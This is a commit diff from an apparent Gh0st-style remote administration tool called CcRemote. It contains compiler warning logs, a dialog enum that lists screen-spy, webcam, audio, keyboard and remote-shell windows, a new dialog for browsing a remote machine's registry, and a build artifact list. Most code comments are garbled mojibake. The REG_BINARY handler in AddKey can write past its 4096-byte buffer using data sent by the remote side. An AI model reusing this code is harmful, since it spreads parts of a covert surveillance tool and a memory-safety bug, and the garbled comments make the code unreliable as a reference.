f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1942): warning C4129: “*”: 不可识别的字符转义序列
|
||||
f:\myapp\ccremote\ccremote\ccremote\cfilemanagerdlg.cpp(1986): warning C4244: “初始化”: 从“float”转换到“int”,可能丢失数据
|
||||
FileTransferModeDlg.cpp
|
||||
CScreenSpyDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(54): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(607): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
|
||||
f:\myapp\ccremote\ccremote\ccremote\cscreenspydlg.cpp(621): warning C4554: “<<”: 检查运算符优先级是否存在的可能的错误;使用括号阐明优先级
|
||||
CSettingDlg.cpp
|
||||
CShellDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(95): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(122): warning C4018: “<”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(208): warning C4018: “<=”: 有符号/无符号不匹配
|
||||
f:\myapp\ccremote\ccremote\ccremote\cshelldlg.cpp(218): warning C4018: “<”: 有符号/无符号不匹配
|
||||
CSystemDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\csystemdlg.cpp(114): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
CpuUsage.cpp
|
||||
IniFile.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\inifile.cpp(33): warning C4996: 'strcat': This function or variable may be unsafe. Consider using strcat_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\string.h(90): note: 参见“strcat”的声明
|
||||
InputDlg.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\inputdlg.h(69): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
|
||||
f:\myapp\ccremote\ccremote\ccremote\inputdlg.cpp(124): warning C4996: 'wcscpy': This function or variable may be unsafe. Consider using wcscpy_s instead. To disable deprecation, use _CRT_SECURE_NO_WARNINGS. See online help for details.
|
||||
d:\windows kits\10\include\10.0.17763.0\ucrt\corecrt_wstring.h(123): note: 参见“wcscpy”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\inputdlg.cpp(159): warning C4302: “类型强制转换”: 从“LPSTR”到“WORD”截断
|
||||
SEU_QQwry.cpp
|
||||
TrueColorToolBar.cpp
|
||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(169): warning C4996: 'gethostbyname': Use getaddrinfo() or GetAddrInfoW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(2219): note: 参见“gethostbyname”的声明
|
||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(174): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(333): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(353): warning C4244: “初始化”: 从“double”转换到“int”,可能丢失数据
|
||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(857): warning C4018: “<=”: 有符号/无符号不匹配
|
||||
g:\ccremote\ccremote\ccremote\ccremote\ccremotedlg.cpp(945): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
g:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
正在生成代码...
|
||||
Buffer.cpp
|
||||
IOCPServer.cpp
|
||||
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(133): warning C4996: 'WSASocketA': Use WSASocketW() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(3416): note: 参见“WSASocketA”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(725): warning C4996: 'inet_ntoa': Use inet_ntop() or InetNtop() instead or define _WINSOCK_DEPRECATED_NO_WARNINGS to disable deprecated API warnings
|
||||
d:\windows kits\10\include\10.0.17763.0\um\winsock2.h(1849): note: 参见“inet_ntoa”的声明
|
||||
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(774): warning C4244: “初始化”: 从“double”转换到“unsigned long”,可能丢失数据
|
||||
f:\myapp\ccremote\ccremote\ccremote\include\iocpserver.cpp(920): warning C4018: “>=”: 有符号/无符号不匹配
|
||||
正在生成代码...
|
||||
CcRemote.vcxproj -> F:\myapp\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe
|
||||
CcRemote.vcxproj -> G:\CcRemote\CcRemote\CcRemote\CcRemote\..\..\bin\CcRemote.exe
|
||||
|
@@ -1,2 +1,2 @@
|
||||
#TargetFrameworkVersion=v4.0:PlatformToolSet=v141:EnableManagedIncrementalBuild=false:VCToolArchitecture=Native32Bit:WindowsTargetPlatformVersion=10.0.17763.0
|
||||
Debug|Win32|F:\myapp\CcRemote\CcRemote\|
|
||||
Debug|Win32|G:\CcRemote\CcRemote\CcRemote\|
|
||||
|
@@ -43,15 +43,19 @@ enum
|
||||
WM_OPENKEYBOARDDIALOG, // <20><EFBFBD><F2BFAABC>̼<EFBFBD>¼<EFBFBD><C2BC><EFBFBD><EFBFBD>
|
||||
WM_OPENPSLISTDIALOG, // <20><EFBFBD><F2BFAABD>̹<EFBFBD><CCB9><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
WM_OPENSHELLDIALOG, // <20><><EFBFBD><EFBFBD>shell<6C><6C><EFBFBD><EFBFBD>
|
||||
WM_OPENSERVERDIALOG, // <20><EFBFBD><F2BFAAB7><EFBFBD>
|
||||
WM_OPENREGEDITDIALOG, // <20><><EFBFBD><EFBFBD>ע<EFBFBD><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
WM_RESETPORT, // <20>ı<EFBFBD><C4B1>˿<EFBFBD>
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
FILEMANAGER_DLG = 1,
|
||||
SCREENSPY_DLG,
|
||||
WEBCAM_DLG,
|
||||
AUDIO_DLG,
|
||||
KEYBOARD_DLG,
|
||||
SYSTEM_DLG,
|
||||
SHELL_DLG
|
||||
FILEMANAGER_DLG = 1, // <20>ļ<EFBFBD><C4BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
SCREENSPY_DLG, // <20><>Ļ
|
||||
WEBCAM_DLG,
|
||||
AUDIO_DLG, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
KEYBOARD_DLG, // <20><><EFBFBD><EFBFBD> δʵ<CEB4><CAB5>
|
||||
SYSTEM_DLG, // <20><><EFBFBD><EFBFBD>
|
||||
SHELL_DLG, // shell<6C><6C><EFBFBD><EFBFBD>
|
||||
SERVER_DLG, // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
REGEDIT_DLG // ע<><D7A2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
};
|
||||
|
||||
|
||||
|
308
CcRemote/CcRemote/RegDlg.cpp
Normal file
@@ -0,0 +1,308 @@
|
||||
// RegDlg.cpp : ʵ<><CAB5><EFBFBD>ļ<EFBFBD>
|
||||
//
|
||||
|
||||
#include "pch.h"
|
||||
#include "CcRemote.h"
|
||||
#include "RegDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
#include "..\..\common\macros.h"
|
||||
|
||||
|
||||
// CRegDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
IMPLEMENT_DYNAMIC(CRegDlg, CDialog)
|
||||
|
||||
enum MYKEY{
|
||||
MHKEY_CLASSES_ROOT,
|
||||
MHKEY_CURRENT_USER,
|
||||
MHKEY_LOCAL_MACHINE,
|
||||
MHKEY_USERS,
|
||||
MHKEY_CURRENT_CONFIG
|
||||
};
|
||||
|
||||
enum KEYVALUE{
|
||||
MREG_SZ,
|
||||
MREG_DWORD,
|
||||
MREG_BINARY,
|
||||
MREG_EXPAND_SZ
|
||||
};
|
||||
struct REGMSG{
|
||||
int count; //<2F><><EFBFBD>ָ<EFBFBD><D6B8><EFBFBD>
|
||||
DWORD size; //<2F><><EFBFBD>ִ<EFBFBD>С
|
||||
DWORD valsize; //ֵ<><D6B5>С
|
||||
|
||||
};
|
||||
CRegDlg::CRegDlg(CWnd* pParent, CIOCPServer* pIOCPServer, ClientContext *pContext)
|
||||
: CDialog(IDD_DIALOG_REGEDIT, pParent)
|
||||
{
|
||||
m_iocpServer = pIOCPServer;
|
||||
m_pContext = pContext;
|
||||
}
|
||||
|
||||
CRegDlg::~CRegDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CRegDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialog::DoDataExchange(pDX);
|
||||
DDX_Control(pDX, IDC_TREE, m_tree);
|
||||
DDX_Control(pDX, IDC_LIST, m_list);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CRegDlg, CDialog)
|
||||
ON_NOTIFY(TVN_SELCHANGED, IDC_TREE, &CRegDlg::OnTvnSelchangedTree)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CRegDlg <20><>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
|
||||
BOOL CRegDlg::OnInitDialog()
|
||||
{
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>Ӷ<EFBFBD><D3B6><EFBFBD><EFBFBD>ij<EFBFBD>ʼ<EFBFBD><CABC>
|
||||
|
||||
HICON hIcon = NULL;
|
||||
m_ImageList_tree.Create(18, 18, ILC_COLOR16,10, 0);
|
||||
|
||||
hIcon = (HICON)::LoadImage(::AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_FATHER_ICON), IMAGE_ICON, 18, 18, 0);
|
||||
m_ImageList_tree.Add(hIcon);
|
||||
hIcon = (HICON)::LoadImage(::AfxGetInstanceHandle(),MAKEINTRESOURCE(IDI_DIR_ICON), IMAGE_ICON, 32, 32, 0);
|
||||
m_ImageList_tree.Add(hIcon);
|
||||
|
||||
|
||||
|
||||
m_tree.SetImageList ( &m_ImageList_tree,TVSIL_NORMAL );
|
||||
|
||||
DWORD dwStyle = GetWindowLong(m_tree.m_hWnd,GWL_STYLE);
|
||||
|
||||
dwStyle |=TVS_HASBUTTONS | TVS_HASLINES;// | TVS_LINESATROOT;<3B><><EFBFBD>ﲻ<EFBFBD><EFB2BB>һ<EFBFBD><D2BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʽ<EFBFBD><CABD>Ȼicoͼ<6F><CDBC><EFBFBD><EFBFBD><DEB7><EFBFBD>ʾ
|
||||
|
||||
SetWindowLong(m_tree.m_hWnd,GWL_STYLE,dwStyle);
|
||||
m_hRoot = m_tree.InsertItem("ע<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>",0,0,0,0);
|
||||
HKCU=m_tree.InsertItem("HKEY_CURRENT_USER",1,1,m_hRoot,0);
|
||||
HKLM=m_tree.InsertItem("HKEY_LOCAL_MACHINE",1,1,m_hRoot,0);
|
||||
HKUS=m_tree.InsertItem("HKEY_USERS",1,1,m_hRoot,0);
|
||||
HKCC=m_tree.InsertItem("HKEY_CURRENT_CONFIG",1,1,m_hRoot,0);
|
||||
HKCR=m_tree.InsertItem("HKEY_CLASSES_ROOT",1,1,m_hRoot,0);
|
||||
|
||||
m_tree.Expand(m_hRoot,TVE_EXPAND);
|
||||
|
||||
m_list.InsertColumn(0,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>",LVCFMT_LEFT,150,-1);
|
||||
m_list.InsertColumn(1,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>",LVCFMT_LEFT,60,-1);
|
||||
m_list.InsertColumn(2,"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>",LVCFMT_LEFT,300,-1);
|
||||
m_list.SetExtendedStyle(LVS_EX_FULLROWSELECT);
|
||||
//////<2F><><EFBFBD><EFBFBD>ͼ<EFBFBD><CDBC>//////
|
||||
m_HeadIcon.Create(16,16,TRUE,2,2);
|
||||
m_HeadIcon.Add(AfxGetApp()->LoadIcon(IDI_STR_ICON));
|
||||
m_HeadIcon.Add(AfxGetApp()->LoadIcon(IDI_DWORD_ICON));
|
||||
m_list.SetImageList(&m_HeadIcon,LVSIL_SMALL);
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
|
||||
}
|
||||
|
||||
|
||||
void CRegDlg::OnTvnSelchangedTree(NMHDR *pNMHDR, LRESULT *pResult)
|
||||
{
|
||||
LPNMTREEVIEW pNMTreeView = reinterpret_cast<LPNMTREEVIEW>(pNMHDR);
|
||||
// TODO: <20>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD>ӿؼ<D3BF>֪ͨ<CDA8><D6AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if(!isEnable) return;
|
||||
isEnable=false;;
|
||||
TVITEM item = pNMTreeView->itemNew;
|
||||
|
||||
if(item.hItem == m_hRoot)
|
||||
{
|
||||
isEnable=true;;
|
||||
return;
|
||||
}
|
||||
SelectNode=item.hItem; //<2F><><EFBFBD><EFBFBD><EFBFBD>û<EFBFBD><C3BB><EFBFBD><F2BFAAB5><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڵ<EFBFBD><DAB5><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_list.DeleteAllItems();
|
||||
|
||||
CString FullPath=GetFullPath(SelectNode);
|
||||
HTREEITEM CurrentNode = item.hItem; //ȡ<>ô˽ڵ<CBBD><DAB5><EFBFBD>ȫ·<C8AB><C2B7>
|
||||
|
||||
while(m_tree.GetChildItem(CurrentNode)!=NULL)
|
||||
{
|
||||
m_tree.DeleteItem(m_tree.GetChildItem(CurrentNode)); //ɾ<><C9BE> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD> OnSelchangingTree<65>¼<EFBFBD> ***
|
||||
}
|
||||
|
||||
char bToken=getFatherPath(FullPath);
|
||||
//<2F><><EFBFBD><EFBFBD>һ<EFBFBD><D2BB><EFBFBD><EFBFBD>
|
||||
int nitem=m_list.InsertItem(0,"(Data)",0);
|
||||
m_list.SetItemText(nitem,1,"REG_SZ");
|
||||
m_list.SetItemText(nitem,2,"(NULL)");
|
||||
//BeginWaitCursor();
|
||||
//char *buf=new char[FullPath.GetLength]
|
||||
FullPath.Insert(0,bToken);//<2F><><EFBFBD><EFBFBD> <20>Ǹ<EFBFBD><C7B8><EFBFBD><EFBFBD><EFBFBD>
|
||||
bToken=COMMAND_REG_FIND;
|
||||
FullPath.Insert(0,bToken); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ѯ<EFBFBD><D1AF><EFBFBD><EFBFBD>
|
||||
|
||||
m_iocpServer->Send(m_pContext, (LPBYTE)(FullPath.GetBuffer(0)), FullPath.GetLength()+1);
|
||||
isEnable=true;;
|
||||
*pResult = 0;
|
||||
}
|
||||
|
||||
|
||||
CString CRegDlg::GetFullPath(HTREEITEM hCurrent)
|
||||
{
|
||||
CString strTemp;
|
||||
CString strReturn = "";
|
||||
while(1){
|
||||
if(hCurrent==m_hRoot) return strReturn;
|
||||
strTemp = m_tree.GetItemText(hCurrent); //<2F>õ<EFBFBD><C3B5><EFBFBD>ǰ<EFBFBD><C7B0>
|
||||
if(strTemp.Right(1) != "\\")
|
||||
strTemp += "\\";
|
||||
strReturn = strTemp + strReturn;
|
||||
hCurrent = m_tree.GetParentItem(hCurrent); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
}
|
||||
return strReturn;
|
||||
}
|
||||
|
||||
|
||||
char CRegDlg::getFatherPath(CString& FullPath)
|
||||
{
|
||||
char bToken;
|
||||
if(!FullPath.Find("HKEY_CLASSES_ROOT")) //<2F>ж<EFBFBD><D0B6><EFBFBD><EFBFBD><EFBFBD>
|
||||
{
|
||||
//MKEY=HKEY_CLASSES_ROOT;
|
||||
bToken=MHKEY_CLASSES_ROOT;
|
||||
FullPath.Delete(0,sizeof("HKEY_CLASSES_ROOT"));
|
||||
}else if(!FullPath.Find("HKEY_CURRENT_USER"))
|
||||
{
|
||||
bToken=MHKEY_CURRENT_USER;
|
||||
FullPath.Delete(0,sizeof("HKEY_CURRENT_USER"));
|
||||
|
||||
}else if(!FullPath.Find("HKEY_LOCAL_MACHINE"))
|
||||
{
|
||||
bToken=MHKEY_LOCAL_MACHINE;
|
||||
FullPath.Delete(0,sizeof("HKEY_LOCAL_MACHINE"));
|
||||
|
||||
}else if(!FullPath.Find("HKEY_USERS"))
|
||||
{
|
||||
bToken=MHKEY_USERS;
|
||||
FullPath.Delete(0,sizeof("HKEY_USERS"));
|
||||
|
||||
}else if(!FullPath.Find("HKEY_CURRENT_CONFIG"))
|
||||
{
|
||||
bToken=MHKEY_CURRENT_CONFIG;
|
||||
FullPath.Delete(0,sizeof("HKEY_CURRENT_CONFIG"));
|
||||
|
||||
}
|
||||
return bToken;
|
||||
}
|
||||
|
||||
|
||||
void CRegDlg::OnReceiveComplete(void)
|
||||
{
|
||||
switch (m_pContext->m_DeCompressionBuffer.GetBuffer(0)[0])
|
||||
{
|
||||
case TOKEN_REG_PATH: //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
AddPath((char*)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)));
|
||||
break;
|
||||
case TOKEN_REG_KEY: //<2F><><EFBFBD>ռ<EFBFBD> <20><>ֵ
|
||||
AddKey((char*)(m_pContext->m_DeCompressionBuffer.GetBuffer(1)));
|
||||
break;
|
||||
default:
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void CRegDlg::AddKey(char* lpBuffer)
|
||||
{
|
||||
m_list.DeleteAllItems();
|
||||
int nitem=m_list.InsertItem(0,"(Data)",0);
|
||||
m_list.SetItemText(nitem,1,"REG_SZ");
|
||||
m_list.SetItemText(nitem,2,"(NULL)");
|
||||
|
||||
if(lpBuffer==NULL) return;
|
||||
REGMSG msg;
|
||||
memcpy((void*)&msg,lpBuffer,sizeof(msg));
|
||||
char* tmp=lpBuffer+sizeof(msg);
|
||||
|
||||
int bin_temp;
|
||||
for(int i=0;i<msg.count;i++)
|
||||
{
|
||||
BYTE Type=tmp[0]; //ȡ<><C8A1><EFBFBD><EFBFBD>־ͷ
|
||||
tmp+=sizeof(BYTE);
|
||||
char* szValueName=tmp; //ȡ<><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
tmp+=msg.size;
|
||||
BYTE* szValueDate=(BYTE*)tmp; //ȡ<><C8A1>ֵ
|
||||
tmp+=msg.valsize;
|
||||
if(Type==MREG_SZ)
|
||||
{
|
||||
int nitem=m_list.InsertItem(0,szValueName,0);
|
||||
m_list.SetItemText(nitem,1,"REG_SZ");
|
||||
m_list.SetItemText(nitem,2,(char*)szValueDate);
|
||||
}
|
||||
if(Type==MREG_DWORD)
|
||||
{
|
||||
char ValueDate[256];
|
||||
DWORD d=(DWORD)szValueDate;
|
||||
memcpy((void*)&d,szValueDate,sizeof(DWORD));
|
||||
CString value;
|
||||
value.Format("0x%08x",d);
|
||||
sprintf(ValueDate," (%d)",d);
|
||||
value+=" ";
|
||||
value+=ValueDate;
|
||||
int nitem=m_list.InsertItem(0,szValueName,1);
|
||||
m_list.SetItemText(nitem,1,"REG_DWORD");
|
||||
m_list.SetItemText(nitem,2,value);
|
||||
|
||||
}
|
||||
if(Type==MREG_BINARY)
|
||||
{
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ڴ<EFBFBD><DAB4><EFBFBD><EFBFBD><EFBFBD>̬<EFBFBD><CCAC><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ȡ<EFBFBD><C8A1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ԭ<EFBFBD><D4AD><EFBFBD><EFBFBD>ֻҪ<D6BB>Ƕ<EFBFBD>̬<EFBFBD><CCAC>ȡ<EFBFBD>Ļ<EFBFBD><C4BB>ͻ<EFBFBD><CDBB><EFBFBD><EFBFBD>ɱ<EFBFBD><C9B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>0x1000<30><30>С<EFBFBD><D0A1><EFBFBD><EFBFBD>Ӧ<EFBFBD><D3A6>Ҳ<EFBFBD><D2B2><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
int i = 0;
|
||||
int index_max = msg.valsize;
|
||||
char ValueDate[0x1000] = { 0 };
|
||||
if (msg.valsize > 0x1000)
|
||||
{
|
||||
index_max = 0x990;//incomplete
|
||||
}
|
||||
for (i = 0; i < index_max; i++)
|
||||
{
|
||||
bin_temp = szValueDate[i];
|
||||
sprintf(ValueDate +(i*3), "%02x ", bin_temp);
|
||||
}
|
||||
CString value = ValueDate;
|
||||
if (index_max == 0x990)
|
||||
{
|
||||
value+=" incomplete";
|
||||
}
|
||||
|
||||
int nitem=m_list.InsertItem(0,szValueName,1);
|
||||
m_list.SetItemText(nitem,1,"REG_BINARY");
|
||||
m_list.SetItemText(nitem,2, value);
|
||||
}
|
||||
if(Type==MREG_EXPAND_SZ)
|
||||
{
|
||||
int nitem=m_list.InsertItem(0,szValueName,0);
|
||||
m_list.SetItemText(nitem,1,"REG_EXPAND_SZ");
|
||||
m_list.SetItemText(nitem,2,(char*)szValueDate);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
|
||||
void CRegDlg::AddPath(char* lpBuffer)
|
||||
{
|
||||
if(lpBuffer==NULL) return;
|
||||
int msgsize=sizeof(REGMSG);
|
||||
REGMSG msg;
|
||||
memcpy((void*)&msg,lpBuffer,msgsize);
|
||||
DWORD size =msg.size;
|
||||
int count=msg.count;
|
||||
|
||||
if(size>0&&count>0){ //һ<>㱣<EFBFBD><E3B1A3><EFBFBD><EFBFBD>ʩ
|
||||
for(int i=0;i<count;i++){
|
||||
char* szKeyName=lpBuffer+size*i+msgsize;
|
||||
m_tree.InsertItem(szKeyName,1,1,SelectNode,0);//<2F><><EFBFBD><EFBFBD><EFBFBD>Ӽ<EFBFBD><D3BC><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_tree.Expand(SelectNode,TVE_EXPAND);
|
||||
}
|
||||
}
|
||||
}
|
46
CcRemote/CcRemote/RegDlg.h
Normal file
@@ -0,0 +1,46 @@
|
||||
#pragma once
|
||||
|
||||
#include "include/IOCPServer.h"
|
||||
// CRegDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
class CRegDlg : public CDialog
|
||||
{
|
||||
DECLARE_DYNAMIC(CRegDlg)
|
||||
|
||||
public:
|
||||
CRegDlg(CWnd* pParent = NULL, CIOCPServer* pIOCPServer = NULL, ClientContext *pContext = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
virtual ~CRegDlg();
|
||||
|
||||
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
enum { IDD = IDD_DIALOG_REGEDIT};
|
||||
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>
|
||||
|
||||
DECLARE_MESSAGE_MAP()
|
||||
|
||||
ClientContext* m_pContext;
|
||||
CIOCPServer* m_iocpServer;
|
||||
bool isEnable; //<2F>ؼ<EFBFBD><D8BC>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD>
|
||||
HTREEITEM SelectNode;
|
||||
public:
|
||||
CTreeCtrl m_tree;
|
||||
CListCtrl m_list;
|
||||
CImageList m_HeadIcon;
|
||||
protected:
|
||||
HTREEITEM m_hRoot;
|
||||
HTREEITEM HKLM;
|
||||
HTREEITEM HKCR;
|
||||
HTREEITEM HKCU;
|
||||
HTREEITEM HKUS;
|
||||
HTREEITEM HKCC;
|
||||
CImageList m_ImageList_tree;
|
||||
public:
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnTvnSelchangedTree(NMHDR *pNMHDR, LRESULT *pResult);
|
||||
CString GetFullPath(HTREEITEM hCurrent);
|
||||
char getFatherPath(CString& FullPath);
|
||||
void OnReceiveComplete(void);
|
||||
void AddKey(char* lpBuffer);
|
||||
void AddPath(char* lpBuffer);
|
||||
};
|
@@ -1,2 +1,38 @@
|
||||
g:\ccremote\ccremote\ccremote\ccremote\release\ccremote.res
|
||||
g:\ccremote\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
|
||||
f:\myapp\ccremote\bin\ccremote.ipdb
|
||||
f:\myapp\ccremote\bin\ccremote.iobj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.pch
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\vc141.pdb
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\pch.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\iocpserver.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\buffer.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\audio.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\truecolortoolbar.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\seu_qqwry.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\regdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\inputdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\inifile.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\cpuusage.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\csystemdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\cshelldlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\csettingdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\cscreenspydlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\filetransfermodedlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\cserverdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\cfilemanagerdlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremotedlg.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.obj
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\caudiodlg.obj
|
||||
f:\myapp\ccremote\bin\ccremote.exe
|
||||
f:\myapp\ccremote\bin\ccremote.pdb
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.res
|
||||
f:\myapp\ccremote\ccremote\ccremote\..\..\bin\ccremote.exe
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\ccremote.write.1u.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.command.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.read.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\cl.write.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\link.command.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\link.read.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\link.write.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.command.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.read.1.tlog
|
||||
f:\myapp\ccremote\ccremote\ccremote\release\ccremote.tlog\rc.write.1.tlog
|
||||
|
@@ -1,46 +1,19 @@
|
||||
